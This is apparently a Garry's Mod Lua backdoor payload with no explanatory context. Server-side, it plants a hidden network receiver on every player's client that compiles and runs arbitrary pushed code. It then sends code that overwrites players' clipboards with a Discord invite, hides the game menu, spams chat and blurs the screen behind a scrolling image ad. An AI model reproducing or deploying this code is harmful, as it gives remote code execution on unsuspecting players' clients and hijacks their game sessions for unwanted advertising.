function RandomString( intMin, intMax )
        local ret = ""
        for _ = 1, math.random( intMin, intMax ) do
            ret = ret.. string.char( math.random(65, 90) )
        end

        return ret
    end

    m_strImageGlobalVar = RandomString( 6, 12 )

    local function rdm_str(len)
        if !len or len <= 0 then return '' end
        return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
    end

    local net_string = rdm_str(25)

    util.AddNetworkString(net_string)
    BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
    hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
        if !ply:IsBot() then
            ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
        end
    end)

    local function SendToClient(code)
        timer.Simple(1, function()
            local data = util.Compress(code)
            local len = #data
            net.Start(net_string)
            net.WriteUInt(len, 16)
            net.WriteData(data, len)
            net.Broadcast()
        end)
    end


    hook.Add("Think","\xFF\xFF\xFF",function()
    	local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
    	for _, v in ipairs(player.GetAll()) do
    		v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
    	end
    end)


    SendToClient([=[

local duration = tonumber("test")
local invite = "https://discord.gg/6RvBJAZ"
local imgurls = {
	["fr"] = "https://i.imgur.com/dP15J3p.png",
	["default"] = "https://i.imgur.com/dP15J3p.png"
}

local lang = GetConVar("gmod_language"):GetString()
local imgurl = imgurls[lang] and imgurls[lang] or imgurls["default"]

SetClipboardText(invite)

local hooksname = "PleaseBuyGVac"..math.random(0, 100)
hook.Add("Think", hooksname, function()
	gui.HideGameUI()
	print(invite)
end)

timer.Create(hooksname, .5, 0, function()
	chat.AddText(HSVToColor(CurTime()*50 % 360, 1, 1), invite)
end)

local sW, sH = ScrW(), ScrH()

local blur = Material("pp/blurscreen")
local function blurfunc()
	blur:SetFloat("$blur", SysTime()*1000%5)
	blur:Recompute()
	surface.SetDrawColor(0, 0, 0)
	surface.SetMaterial(blur)
	surface.DrawTexturedRect(0, 0, sW, sH)
end

local h = sH / 4
local y = sH / 2 - (h / 2)
local ad = vgui.Create("HTML")
ad:SetPos(-sW, y)
ad:SetSize(sW, h)
ad:SetMouseInputEnabled(false)
ad:SetKeyboardInputEnabled(false)
ad:OpenURL(imgurl)
ad:SetAlpha(20)

timer.Simple(2, function()
	hook.Add("HUDPaint", hooksname, blurfunc)
	ad:MoveTo(0, y, .5, 0, -1, function(_, self)
		self:MoveTo(0, 0, 2.5, 0, -1, function(_, self)
			self:MoveTo(0, sH - h, 5, 0, -1, function(_, self)
				self:MoveTo(0, y, 2.5)
			end)
		end)
	end)
end)

timer.Simple(duration + 12.5, function()
	ad:MoveTo(sW, y, .5, 0, -1, function(_, self)
		self:Remove()
		hook.Remove("HUDPaint", hooksname)
		hook.Remove("Think", hooksname)
		timer.Remove(hooksname)
	end)
end)
    ]=])